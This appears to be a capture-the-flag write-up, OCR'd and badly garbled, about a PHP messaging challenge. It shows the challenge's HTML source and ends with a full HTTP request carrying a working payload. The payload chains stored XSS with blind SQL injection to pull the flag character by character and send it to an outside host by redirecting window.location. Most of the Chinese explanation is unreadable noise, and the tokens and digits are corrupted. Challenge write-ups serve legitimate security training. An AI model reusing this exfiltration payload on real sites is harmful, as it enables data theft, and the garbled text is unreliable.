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Your token: ad753255-6a69-4d99-a1d3-c7bfe22fe754

Any problem about this system, please contact the administrator.
Admin token: fafd3708-ce90-40bd-bcd4a-852ed01e4853

Send a message:
To token:

Message:

Message here.
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substr(md5($work), 0, 5) === "9d053"

Submit

hint RXAHET .

Hint X

1. TESWIE R PRHIEBAF
2. flagfEflagRAYflag=FER
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KRB token AR id —FERI LT, REHEFEREERAN id, RATDAEERRBEE, HNEEZFHRE xssqli, AT
PLERFR T xss o ERHE —EEERERHEIF, NEEEESE <script src=> FER, EME csp &k, RERLLE
i window.location HIFER FE LT .

ETRBEBKE ML cookie 3k, UBHERHMHEFRT .
{HR K cookie FEAHIR, MRESEEF1ZARENT cookie LT http-only FRH#, RIFHERKT . & cookie XEHEEENET

M EETE, WAEEHERTUPITRITER s R, WAL ZER—T index.php , HBEFBIIMRZHAEFH (RIE
MEAFEEAD, BER) . REEF index.php FIFET:

<html>
<head>
<title>Secret message</title>
</head>
<body>
<script src="jquery.min.js"></script>
<div>
<p>
Your token: fafd3708-ce90-40bd-bc4a-852ed01e4853<br />
</p>
<p>
Any problem about this system, please contact the administrator.<br />
Admin token: fafd3708-ce90-40bd-bc4a-852ed01e4853<br />
</p>
</div>
<hr />
<div>
<form action="search.php" method="post">
<p>
Search messages: <input type="text" name="q" />
<input type="submit" value="Submit" />
</p>
</form>
<p>Received messages:</p>
<o0l><1li>Flag</li><1i>is</1i><li>not</li><1li>here</1li></0l></div>
<hr / >
<div>
<p>Send a message:</p>
<form action="index.php" method="post">
<p>To token: <input type="text" name="token" /></p>
<p>Message:</p>
<p><textarea name="msg">Message here.</textarea></p>
<p>substr(md5($work), @ , 5) === "da39f"</p>
<p><input type="text" name="work" />
%2 0 <input type="submit" value="Submit" />
</form>
</div>
</body>
</html>

RIEHFA search.php , BMIERT —TFTRIAFEEHRZFMAITH. sql HEARMZBAAIXA search. php R H =K
LB xss LB BAMXAN A,

RIFF I E B4R search. php IR [ 45 RARSE nothing for you » REEE, JERIER T — FEKRME ERE msg FEBM token F
BRARIENERKE (FREE search.php B MRF) , ARG RIIX A F B AR IR fil Hh 1R 1



FoF IR search.php . RAKAE AR H L .. (REASMIERZ AT KL EABH).

EA S RIThBE RN — DR, A IRIREI—A id » KRR RA AT
select id from xxx where id='xx' IXFEF, WRRENKNSEHEEHE ZENRENE, BB RAANSERR AR
I8

MRIREIBEAIPATER, R search done » HRBHH runtime error
BLBREARET, RE—AEE.

ERSUER T sleep() /exp() /benchmark X JUANE 4 K & $.

&M T ST_LatFromGeoHash(version()) , M EBE=AREHERFE—E, JRB—F.

ZJERE burp intruder O—MEIRFEA, BRRERER.

POST /index.php HTTP/1.1

Host: xxx:xxx

Content-Length: 576

Cache-Control: max-age=0

Origin: http://xxx:xxx

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_14 2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3
770.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed
-exchange;v=b3

Referer: http://xxx:xxx/index.php

Accept-Language: zh-CN,zh;g=0.9

Cookie: PHPSESSID=9060d6d0a742478c529b506al1c190bbf; visitid=5caad8aff3e48; JSESSIONID.5bfff80a=node@157hoy44igpy
jbxhtnlirh1xu21373.node@; session=81be6abe-48c5-40d1-baf0-a%e4al0c4026

Connection: close

token=fafd3708-ce90-40bd-bcd4a-852ed01e4853&msg=<script>var%20xmlhttp=new’%20XMLHttpRequest();xmlhttp.onreadystate
change=state_Change;xmlhttp.open("POST", "search.php", false);xmlhttp.setRequestHeader("Content-Type", "applicati
on/x-www-form-urlencoded;");data="q=1"'%20union%20select%20if((substr((select(flag)from(flag)),28,1))<>"'§F§", (ST_
LatFromGeoHash(version())),1)%23%26submit=Submit";xmlhttp.send(data);function%20state_Change(){if(xmlhttp.readyS
tate==4){window.location="http://yyy/x.php?c=§F§"%2bencodeURIComponent (xmlhttp.responseText)%2b12345;}}</script>
&work=2n4rf
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